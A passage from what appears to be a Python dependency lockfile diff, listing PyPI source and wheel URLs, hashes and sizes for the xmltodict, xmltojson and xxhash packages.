"sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a", size = 541572, upload-time = "2019-08-10T02:16:54.944Z" } + +[[package]] +name = "xmltodict" +version = "0.14.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/50/05/51dcca9a9bf5e1bce52582683ce50980bcadbc4fa5143b9f2b19ab99958f/xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553", size = 51942, upload-time = "2024-10-16T06:10:29.683Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d6/45/fc303eb433e8a2a271739c98e953728422fa61a3c1f36077a49e395c972e/xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac", size = 9981, upload-time = "2024-10-16T06:10:27.649Z" }, +] + +[[package]] +name = "xmltojson" +version = "2.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "xmltodict" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/bd/7ff42737e3715eaf0e46714776c2ce75c0d509c7b2e921fa0f94d031a1ff/xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d", size = 7069, upload-time = "2024-10-20T18:08:17.218Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/3c/80df27969bfbb84425886dd4aaa71875807badd442af65ae7d652592e8ce/xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a", size = 7811, upload-time = "2024-10-20T18:08:16.334Z" }, +] + +[[package]] +name = "xxhash" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" }, + { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" }, + { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" }, + { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" }, + { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" }, + { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" }, + { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" }, + { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" }, + { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" }, + { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" }, + { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" }, + { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" }, + { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" }, + { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" }, + { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" }, + { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" }, + { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" }, + { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" }, + { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" }, + { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" }, + { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" }, + { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" }, + { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" }, + { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" }, + { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" }, + { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" }, + { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" }, + { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" }, + { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" }, + { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" }, + { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" }, + { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" }, + { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" }, + { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" }, + { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" }, + { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" }, + { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" }, + { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" }, + { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" }, + { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" }, + { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" }, + { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, 